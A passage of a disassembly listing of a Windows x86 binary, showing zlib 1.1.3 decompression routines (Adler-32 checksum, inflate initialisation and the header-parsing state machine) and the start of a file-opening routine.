[ebp+var_4] add eax, edx mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, [ebp+var_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+0Fh] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_4] add eax, 10h mov [ebp+arg_4], eax mov ecx, [ebp+var_C] sub ecx, 10h mov [ebp+var_C], ecx jmp loc_40D771 ; --------------------------------------------------------------------------- loc_40D921: ; CODE XREF: sub_40D710+65j cmp [ebp+var_C], 0 jz short loc_40D957 loc_40D927: ; CODE XREF: sub_40D710+245j mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx mov eax, [ebp+var_8] add eax, [ebp+var_4] mov [ebp+var_8], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx cmp [ebp+var_C], 0 jnz short loc_40D927 loc_40D957: ; CODE XREF: sub_40D710+215j mov eax, [ebp+var_4] xor edx, edx mov ecx, 0FFF1h div ecx mov [ebp+var_4], edx mov eax, [ebp+var_8] xor edx, edx mov ecx, 0FFF1h div ecx mov [ebp+var_8], edx jmp loc_40D740 ; --------------------------------------------------------------------------- loc_40D97A: ; CODE XREF: sub_40D710+34j mov eax, [ebp+var_8] shl eax, 10h or eax, [ebp+var_4] loc_40D983: ; CODE XREF: sub_40D710+2Bj mov esp, ebp pop ebp retn sub_40D710 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, offset a1_1_3 ; "1.1.3" pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 2 sub eax, [ebp+8] mov eax, off_4132D0[eax*4] pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D9A5 proc near ; DATA XREF: sub_40DAB5+68o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_40D9BC mov eax, [ebp+arg_8] sub eax, [ebp+arg_8] mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+arg_4], ecx loc_40D9BC: ; CODE XREF: sub_40D9A5+7j mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call dword_413208 ; calloc add esp, 8 pop ebp retn sub_40D9A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D9CF proc near ; DATA XREF: sub_40DAB5+85o arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax call dword_4131D4 ; free add esp, 4 pop ebp retn sub_40D9CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D9E1 proc near ; CODE XREF: sub_40DAB5+172p arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_40D9F3 mov eax, [ebp+arg_0] cmp dword ptr [eax+1Ch], 0 jnz short loc_40D9FA loc_40D9F3: ; CODE XREF: sub_40D9E1+7j mov eax, 0FFFFFFFEh jmp short loc_40DA4A ; --------------------------------------------------------------------------- loc_40D9FA: ; CODE XREF: sub_40D9E1+10j mov ecx, [ebp+arg_0] mov dword ptr [ecx+14h], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+8], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+18h], 0 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+0Ch] neg eax sbb eax, eax and eax, 7 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [edx], eax push 0 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+14h] push eax call sub_40ADBE add esp, 0Ch xor eax, eax loc_40DA4A: ; CODE XREF: sub_40D9E1+17j pop ebp retn sub_40D9E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DA4C proc near ; CODE XREF: sub_40DAB5+FEp ; sub_40DAB5+15Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_40DA67 mov eax, [ebp+arg_0] cmp dword ptr [eax+1Ch], 0 jz short loc_40DA67 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+24h], 0 jnz short loc_40DA6E loc_40DA67: ; CODE XREF: sub_40DA4C+7j ; sub_40DA4C+10j mov eax, 0FFFFFFFEh jmp short loc_40DAB3 ; --------------------------------------------------------------------------- loc_40DA6E: ; CODE XREF: sub_40DA4C+19j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp dword ptr [eax+14h], 0 jz short loc_40DA90 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+14h] push ecx call sub_40C2D5 add esp, 8 loc_40DA90: ; CODE XREF: sub_40DA4C+2Cj mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_0] call dword ptr [eax+24h] add esp, 8 mov ecx, [ebp+arg_0] mov dword ptr [ecx+1Ch], 0 xor eax, eax loc_40DAB3: ; CODE XREF: sub_40DA4C+20j pop ebp retn sub_40DA4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAB5 proc near ; CODE XREF: sub_40F6B0+163p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], offset a1_1_3_0 ; "1.1.3" mov [ebp+var_C], 38h cmp [ebp+var_4], 0 jz short loc_40DAE6 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] movsx edx, ds:byte_4177F4 cmp ecx, edx jnz short loc_40DAE6 cmp [ebp+var_C], 38h jz short loc_40DAF0 loc_40DAE6: ; CODE XREF: sub_40DAB5+18j ; sub_40DAB5+29j mov eax, 0FFFFFFFAh jmp loc_40DC31 ; --------------------------------------------------------------------------- loc_40DAF0: ; CODE XREF: sub_40DAB5+2Fj mov [ebp+var_8], 0FFFFFFF1h cmp [ebp+arg_0], 0 jnz short loc_40DB07 mov eax, 0FFFFFFFEh jmp loc_40DC31 ; --------------------------------------------------------------------------- loc_40DB07: ; CODE XREF: sub_40DAB5+46j mov eax, [ebp+arg_0] mov dword ptr [eax+18h], 0 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+20h], 0 jnz short loc_40DB2E mov edx, [ebp+arg_0] mov dword ptr [edx+20h], offset sub_40D9A5 mov eax, [ebp+arg_0] mov dword ptr [eax+28h], 0 loc_40DB2E: ; CODE XREF: sub_40DAB5+63j mov ecx, [ebp+arg_0] cmp dword ptr [ecx+24h], 0 jnz short loc_40DB41 mov edx, [ebp+arg_0] mov dword ptr [edx+24h], offset sub_40D9CF loc_40DB41: ; CODE XREF: sub_40DAB5+80j push 18h push 1 mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+20h] add esp, 0Ch mov ecx, [ebp+arg_0] mov [ecx+1Ch], eax mov edx, [ebp+arg_0] cmp dword ptr [edx+1Ch], 0 jnz short loc_40DB6E mov eax, 0FFFFFFFCh jmp loc_40DC31 ; --------------------------------------------------------------------------- loc_40DB6E: ; CODE XREF: sub_40DAB5+ADj mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx+14h], 0 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax+0Ch], 0 cmp [ebp+var_8], 0 jge short loc_40DBA3 mov ecx, [ebp+var_8] neg ecx mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax+0Ch], 1 loc_40DBA3: ; CODE XREF: sub_40DAB5+D7j cmp [ebp+var_8], 8 jl short loc_40DBAF cmp [ebp+var_8], 0Fh jle short loc_40DBC2 loc_40DBAF: ; CODE XREF: sub_40DAB5+F2j mov ecx, [ebp+arg_0] push ecx call sub_40DA4C add esp, 4 mov eax, 0FFFFFFFEh jmp short loc_40DC31 ; --------------------------------------------------------------------------- loc_40DBC2: ; CODE XREF: sub_40DAB5+F8j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [ebp+var_8] mov [eax+10h], ecx mov edx, 1 mov ecx, [ebp+var_8] shl edx, cl push edx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+0Ch] neg edx sbb edx, edx not edx and edx, offset sub_40D710 push edx mov eax, [ebp+arg_0] push eax call sub_40AE75 add esp, 0Ch mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [edx+14h], eax mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp dword ptr [ecx+14h], 0 jnz short loc_40DC23 mov edx, [ebp+arg_0] push edx call sub_40DA4C add esp, 4 mov eax, 0FFFFFFFCh jmp short loc_40DC31 ; --------------------------------------------------------------------------- loc_40DC23: ; CODE XREF: sub_40DAB5+159j mov eax, [ebp+arg_0] push eax call sub_40D9E1 add esp, 4 xor eax, eax loc_40DC31: ; CODE XREF: sub_40DAB5+36j ; sub_40DAB5+4Dj ... mov esp, ebp pop ebp retn sub_40DAB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC35 proc near ; CODE XREF: sub_40F872+26Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_40DC52 mov eax, [ebp+arg_0] cmp dword ptr [eax+1Ch], 0 jz short loc_40DC52 mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0 jnz short loc_40DC5C loc_40DC52: ; CODE XREF: sub_40DC35+Aj ; sub_40DC35+13j mov eax, 0FFFFFFFEh jmp loc_40E2BD ; --------------------------------------------------------------------------- loc_40DC5C: ; CODE XREF: sub_40DC35+1Bj xor edx, edx cmp [ebp+arg_4], 4 setnz dl dec edx and edx, 0FFFFFFFBh mov [ebp+arg_4], edx mov [ebp+var_8], 0FFFFFFFBh loc_40DC73: ; CODE XREF: sub_40DC35:loc_40E2B8j mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx] mov [ebp+var_C], edx cmp [ebp+var_C], 0Dh ja loc_40E2B1 mov eax, [ebp+var_C] jmp off_40E2C1[eax*4] loc_40DC92: ; DATA XREF: HSho:off_40E2C1o mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jnz short loc_40DCA3 mov eax, [ebp+var_8] jmp loc_40E2BD ; --------------------------------------------------------------------------- loc_40DCA3: ; CODE XREF: sub_40DC35+64j mov edx, [ebp+arg_4] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+4], ecx mov eax, [ebp+arg_0] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_0] mov ecx, [eax] xor edx, edx mov dl, [ecx] mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov [ecx+4], edx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+4] and ecx, 0Fh mov edx, [ebp+arg_0] mov eax, [edx] add eax, 1 mov edx, [ebp+arg_0] mov [edx], eax cmp ecx, 8 jz short loc_40DD1F mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx], 0Dh mov edx, [ebp+arg_0] mov dword ptr [edx+18h], offset aUnknownCompres ; "unknown compression method" mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx+4], 5 jmp loc_40E2B8 ; --------------------------------------------------------------------------- loc_40DD1F: ; CODE XREF: sub_40DC35+C0j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+4] shr ecx, 4 add ecx, 8 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp ecx, [eax+10h] jbe short loc_40DD61 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 0Dh mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidWindowS ; "invalid window size" mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx+4], 5 jmp loc_40E2B8 ; --------------------------------------------------------------------------- loc_40DD61: ; CODE XREF: sub_40DC35+102j mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx], 1 loc_40DD6D: ; CODE XREF: sub_40DC35+56j ; DATA XREF: HSho:0040E2C5o mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_40DD7E mov eax, [ebp+var_8] jmp loc_40E2BD ; --------------------------------------------------------------------------- loc_40DD7E: ; CODE XREF: sub_40DC35+13Fj mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx] xor eax, eax mov al, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+4] shl eax, 8 add eax, [ebp+var_4] xor edx, edx mov ecx, 1Fh div ecx test edx, edx jz short loc_40DDFF mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 0Dh mov ecx, [ebp+arg_0] mov dword ptr [ecx+18h], offset aIncorrectHeade ; "incorrect header check" mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax+4], 5 jmp loc_40E2B8 ; --------------------------------------------------------------------------- loc_40DDFF: ; CODE XREF: sub_40DC35+1A0j mov ecx, [ebp+var_4] and ecx, 20h test ecx, ecx jnz short loc_40DE1A mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 7 jmp loc_40E2B8 ; --------------------------------------------------------------------------- loc_40DE1A: ; CODE XREF: sub_40DC35+1D2j mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 2 loc_40DE26: ; CODE XREF: sub_40DC35+56j ; DATA XREF: HSho:0040E2C9o mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_40DE37 mov eax, [ebp+var_8] jmp loc_40E2BD ; --------------------------------------------------------------------------- loc_40DE37: ; CODE XREF: sub_40DC35+1F8j mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax mov edx, [ebp+arg_0] mov eax, [edx] xor ecx, ecx mov cl, [eax] shl ecx, 18h mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov [eax+8], ecx mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 3 loc_40DE89: ; CODE XREF: sub_40DC35+56j ; DATA XREF: HSho:0040E2CDo mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_40DE9A mov eax, [ebp+var_8] jmp loc_40E2BD ; --------------------------------------------------------------------------- loc_40DE9A: ; CODE XREF: sub_40DC35+25Bj mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [ebp+arg_0] mov edx, [ecx] xor ecx, ecx mov cl, [edx] shl ecx, 10h mov edx, [eax+8] add edx, ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov [ecx+8], edx mov edx, [ebp+arg_0] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx], eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 4 loc_40DEF7: ; CODE XREF: sub_40DC35+56j ; DATA XREF: HSho:0040E2D1o mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jnz short loc_40DF08 mov eax, [ebp+var_8] jmp loc_40E2BD ; --------------------------------------------------------------------------- loc_40DF08: ; CODE XREF: sub_40DC35+2C9j mov edx, [ebp+arg_4] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+4], ecx mov eax, [ebp+arg_0] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ebp+arg_0] mov eax, [edx] xor edx, edx mov dl, [eax] shl edx, 8 mov eax, [ecx+8] add eax, edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [edx+8], eax mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx], 5 loc_40DF65: ; CODE XREF: sub_40DC35+56j ; DATA XREF: HSho:0040E2D5o mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_40DF76 mov eax, [ebp+var_8] jmp loc_40E2BD ; --------------------------------------------------------------------------- loc_40DF76: ; CODE XREF: sub_40DC35+337j mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [ebp+arg_0] mov ecx, [eax] xor eax, eax mov al, [ecx] mov ecx, [edx+8] add ecx, eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov [eax+8], ecx mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [ebp+arg_0] mov ecx, [edx+8] mov [eax+30h], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 6 mov eax, 2 jmp loc_40E2BD ; --------------------------------------------------------------------------- loc_40DFE9: ; CODE XREF: sub_40DC35+56j ; DATA XREF: HSho:0040E2D9o mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 0Dh mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aNeedDictionary ; "need dictionary" mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx+4], 0 mov eax, 0FFFFFFFEh jmp loc_40E2BD ; --------------------------------------------------------------------------- loc_40E016: ; CODE XREF: sub_40DC35+56j ; DATA XREF: HSho:0040E2DDo mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+14h] push ecx call sub_40AF6D add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFDh jnz short loc_40E057 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 0Dh mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx+4], 0 jmp loc_40E2B8 ; --------------------------------------------------------------------------- loc_40E057: ; CODE XREF: sub_40DC35+402j cmp [ebp+var_8], 0 jnz short loc_40E063 mov eax, [ebp+arg_4] mov [ebp+var_8], eax loc_40E063: ; CODE XREF: sub_40DC35+426j cmp [ebp+var_8], 1 jz short loc_40E071 mov eax, [ebp+var_8] jmp loc_40E2BD ; --------------------------------------------------------------------------- loc_40E071: ; CODE XREF: sub_40DC35+432j mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] add eax, 4 push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+14h] push ecx call sub_40ADBE add esp, 0Ch mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp dword ptr [eax+0Ch], 0 jz short loc_40E0B4 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 0Ch jmp loc_40E2B8 ; --------------------------------------------------------------------------- loc_40E0B4: ; CODE XREF: sub_40DC35+46Cj mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx], 8 loc_40E0C0: ; CODE XREF: sub_40DC35+56j ; DATA XREF: HSho:0040E2E1o mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_40E0D1 mov eax, [ebp+var_8] jmp loc_40E2BD ; --------------------------------------------------------------------------- loc_40E0D1: ; CODE XREF: sub_40DC35+492j mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx] xor eax, eax mov al, [edx] shl eax, 18h mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [edx+8], eax mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx], 9 loc_40E123: ; CODE XREF: sub_40DC35+56j ; DATA XREF: HSho:0040E2E5o mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_40E134 mov eax, [ebp+var_8] jmp loc_40E2BD ; --------------------------------------------------------------------------- loc_40E134: ; CODE XREF: sub_40DC35+4F5j mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [ebp+arg_0] mov ecx, [eax] xor eax, eax mov al, [ecx] shl eax, 10h mov ecx, [edx+8] add ecx, eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov [eax+8], ecx mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 0Ah loc_40E191: ; CODE XREF: sub_40DC35+56j ; DATA XREF: HSho:0040E2E9o mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_40E1A2 mov eax, [ebp+var_8] jmp loc_40E2BD ; --------------------------------------------------------------------------- loc_40E1A2: ; CODE XREF: sub_40DC35+563j mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [ebp+arg_0] mov edx, [ecx] xor ecx, ecx mov cl, [edx] shl ecx, 8 mov edx, [eax+8] add edx, ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov [ecx+8], edx mov edx, [ebp+arg_0] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx], eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 0Bh loc_40E1FF: ; CODE XREF: sub_40DC35+56j ; DATA XREF: HSho:0040E2EDo mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jnz short loc_40E210 mov eax, [ebp+var_8] jmp loc_40E2BD ; --------------------------------------------------------------------------- loc_40E210: ; CODE XREF: sub_40DC35+5D1j mov edx, [ebp+arg_4] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+4], ecx mov eax, [ebp+arg_0] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ebp+arg_0] mov eax, [edx] xor edx, edx mov dl, [eax] mov eax, [ecx+8] add eax, edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [edx+8], eax mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [ecx+4] cmp ecx, [eax+8] jz short loc_40E297 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 0Dh mov ecx, [ebp+arg_0] mov dword ptr [ecx+18h], offset aIncorrectDataC ; "incorrect data check" mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax+4], 5 jmp short loc_40E2B8 ; --------------------------------------------------------------------------- loc_40E297: ; CODE XREF: sub_40DC35+63Bj mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 0Ch loc_40E2A3: ; CODE XREF: sub_40DC35+56j ; DATA XREF: HSho:0040E2F1o mov eax, 1 jmp short loc_40E2BD ; --------------------------------------------------------------------------- loc_40E2AA: ; CODE XREF: sub_40DC35+56j ; DATA XREF: HSho:0040E2F5o mov eax, 0FFFFFFFDh jmp short loc_40E2BD ; --------------------------------------------------------------------------- loc_40E2B1: ; CODE XREF: sub_40DC35+4Dj mov eax, 0FFFFFFFEh jmp short loc_40E2BD ; --------------------------------------------------------------------------- loc_40E2B8: ; CODE XREF: sub_40DC35+E5j ; sub_40DC35+127j ... jmp loc_40DC73 ; --------------------------------------------------------------------------- loc_40E2BD: ; CODE XREF: sub_40DC35+22j ; sub_40DC35+69j ... mov esp, ebp pop ebp retn sub_40DC35 endp ; --------------------------------------------------------------------------- off_40E2C1 dd offset loc_40DC92 ; DATA XREF: sub_40DC35+56r dd offset loc_40DD6D dd offset loc_40DE26 dd offset loc_40DE89 dd offset loc_40DEF7 dd offset loc_40DF65 dd offset loc_40DFE9 dd offset loc_40E016 dd offset loc_40E0C0 dd offset loc_40E123 dd offset loc_40E191 dd offset loc_40E1FF dd offset loc_40E2A3 dd offset loc_40E2AA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E2F9 proc near ; CODE XREF: sub_40FE9E+7Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch cmp [ebp+arg_8], 1 jz short loc_40E321 cmp [ebp+arg_8], 2 jz short loc_40E321 cmp [ebp+arg_8], 3 jz short loc_40E321 mov eax, [ebp+arg_C] mov dword ptr [eax], 10000h xor eax, eax jmp loc_40E487 ; --------------------------------------------------------------------------- loc_40E321: ; CODE XREF: sub_40E2F9+Aj ; sub_40E2F9+10j ... mov [ebp+var_8], 0 mov byte ptr [ebp+var_4], 0 mov ecx, [ebp+arg_C] mov dword ptr [ecx], 0 cmp [ebp+arg_8], 1 jz short loc_40E345 cmp [ebp+arg_8], 2 jnz loc_40E3DC loc_40E345: ; CODE XREF: sub_40E2F9+40j cmp [ebp+arg_8], 1 jnz short loc_40E38E mov edx, [ebp+arg_0] mov [ebp+var_18], edx push 2 push 0 push 0 lea eax, [ebp+var_8] push eax call dword_413098 ; GetCurrentProcess push eax mov ecx, [ebp+var_18] push ecx call dword_413098 ; GetCurrentProcess push eax call dword_41309C ; DuplicateHandle mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_40E38C mov edx, [ebp+arg_C] mov dword ptr [edx], 100h xor eax, eax jmp loc_40E487 ; --------------------------------------------------------------------------- loc_40E38C: ; CODE XREF: sub_40E2F9+81j jmp short loc_40E3C3 ; --------------------------------------------------------------------------- loc_40E38E: ; CODE XREF: sub_40E2F9+50j push 0 push 80h push 3 push 0 push 1 push 80000000h mov eax, [ebp+arg_0] push eax call dword_413018 ; CreateFileA mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_40E3C3 mov ecx, [ebp+arg_C] mov dword ptr [ecx], 200h xor eax, eax jmp loc_40E487 ; --------------------------------------------------------------------------- loc_40E3C3: ; CODE XREF: sub_40E2F9:loc_40E38Cj ; sub_40E2F9+B8j mov edx, [ebp+var_8] push edx call dword_4130A0 ; GetFileType mov [ebp+var_10], eax xor eax, eax cmp [ebp+var_10], 1 setz al mov byte ptr [ebp+var_4], al loc_40E3DC: ; CODE XREF: 